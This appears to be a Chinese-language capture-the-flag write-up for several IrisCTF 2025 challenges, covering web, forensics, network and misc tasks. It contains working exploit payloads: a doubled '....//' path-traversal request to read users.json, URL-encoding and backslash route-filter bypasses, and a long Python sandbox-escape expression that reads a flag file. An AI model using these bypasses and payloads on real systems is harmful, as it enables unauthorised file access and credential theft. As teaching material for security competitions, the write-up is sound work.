IrisCTF2025部分wp
字数 1268 2025-08-22 12:22:54
IrisCTF2025 部分题目解析与教学文档
Web - Password Manager
题目分析
- 存在路径穿越漏洞,但使用
PathReplacer = strings.NewReplacer将../替换为空 - 替换只执行一次,可通过双写绕过(如
....//) - 目标文件
users.json存储了用户凭证
利用步骤
- 构造双写路径穿越payload访问
users.json:GET /....//users.json - 获取skat账户的凭证
- 使用凭证登录获取flag
关键点
- Go语言的
strings.NewReplacer默认只替换一次 - 双写绕过是路径穿越的常见绕过方式
Web - Political
题目分析
- Flask应用,需要获取管理员cookie
- 提供bot服务,可访问本地URL
- bot会携带
/home/user/cookie中的cookie访问指定URL
利用步骤
- 获取token:
GET /token - 构造bot访问的URL:
http://localhost:1337/giveflag?token=<your_token> - 提交token获取flag:
POST /redeem token=<your_token>
绕过技巧
- 路由限制绕过:
- 使用反斜杠:
/giveflag\ - URL编码:
%2fgiveflag
- 使用反斜杠:
- 参数名限制绕过:
- URL编码
- 添加额外参数:
?a=b&token=xxx
Forensics - deldeldel
题目分析
- 键盘流量数据包
- 包含按键和删除操作记录
解题步骤
- 使用键盘流量分析工具解析数据
- 处理原始输出:
Hheey<SPACE><SPACE><SPACE>AAali<DEL><DEL>licce!<SPACE>Ii<SPACE><SPACE>tthink<SPACE><SPACE>Ii''m<SPACE><SPACE>ssupo<DEL>ppooseed<SPACE><SPACE>too<SPACE><SPACE>giivee<SPACE>yoou<SPACE><SPACE><SPACE>tiss<SPACE>fllaag"<RET><RET>iriisctfF{[tthis_ajjd<DEL><DEL><DEL>keyloggeer_iisS_boo<DEL><DEL><DEL>too_hard_two<DEL><DEL><DEL>too<DEL><DEL><DEL>to_use}<RET> - 手动还原输入过程得到flag
关键点
<DEL>表示删除前一个字符- 需要模拟实际输入过程还原最终文本
Forensics - Windy Day
题目分析
- Windows 10内存转储文件
- flag以base64形式存储在内存中
解题步骤
- 搜索flag的base64前缀:
strings memdump.mem | grep "aXJpc" - 找到完整base64编码的flag:
aXJpc2N0ZntpX2FtX2FuX2lkaW90X3dpdGhfYmFkX21lb - 解码得到flag
关键点
- 内存取证中strings命令是基础工具
- 搜索已知格式的部分数据是有效方法
Networks - No Shark?
题目分析
- 文本文件包含十六进制格式的网络数据包
- 需要转换为pcapng格式分析
解题步骤
- 使用Python脚本转换hex为pcapng:
from scapy.all import * import binascii with open("noshark.txt", "r") as file: hex_data = file.readlines() hex_data = [line.strip() for line in hex_data if line.strip()] packets = [] for packet_hex in hex_data: try: packet_bin = binascii.unhexlify(packet_hex) packets.append(packet_bin) except binascii.Error as e: print(f"Error decoding hex: {e}") if packets: wrpcap("output.pcapng", packets) print("Successfully created output.pcapng") else: print("No valid packets found.") - 使用Wireshark分析生成的pcapng文件
- 发现JFIF头,提取图片数据
关键点
- 网络数据包的基本结构认知
- hex到pcapng的转换方法
Misc - Cobra's Den
题目分析
-
限制条件:
- 只能使用长度≤4的builtin函数
- 字符必须在白名单内:
<ph[(cobras.den)]+~ - 输入长度≤1115
- 点号不超过一个
-
可用函数:
abs,chr,hash,open,ord,repr
解题思路
-
构造字符的ASCII码:
abs(~([]<[]))→ -1abs([]<[])→ 0abs(~0)→ 1- 通过位移和加减构造其他数字
-
构造字符串"flag":
chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))))))))))) + ... [其他字符] -
最终payload:
open(chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))))))))))))<<abs(~([]<[])))+chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))))))))))))<<abs(~([]<[]))<<abs(~([]<[])))+chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))))))))))))<<abs(~([]<[]))<<abs(~([]<[]))<<abs(~([]<[])))+chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))))))))))))<<abs(~([]<[]))<<abs(~([]<[]))<<abs(~([]<[]))<<abs(~([]<[])))).read()
关键点
- 利用位运算和基本数学运算构造数字
- 通过字符拼接构造必要字符串
- 严格限制条件下的代码构造技巧